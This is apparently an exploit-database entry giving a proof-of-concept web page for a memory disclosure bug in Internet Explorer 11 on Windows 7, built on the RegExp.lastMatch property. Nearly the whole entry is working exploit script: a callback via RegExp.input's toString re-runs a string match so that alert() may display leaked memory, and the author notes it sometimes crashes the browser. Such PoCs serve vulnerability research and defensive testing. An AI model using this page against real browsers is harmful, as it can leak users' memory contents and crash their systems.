Internet Explorer – ‘RegExp.lastMatch’ Memory Disclosure
/* There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure. This was tested on IE11 running on Window 7 64-bit with the latest patches applied. PoC: ========================================= */ <!-- saved from url=(0014)about:internet --> <script> function main() { RegExp.input = {toString: f}; alert(RegExp.lastMatch); } var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join(""); function f() { String.prototype.match.call(input, "bbbbbbbbbb"); } main(); </script> /* ========================================= Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed */ |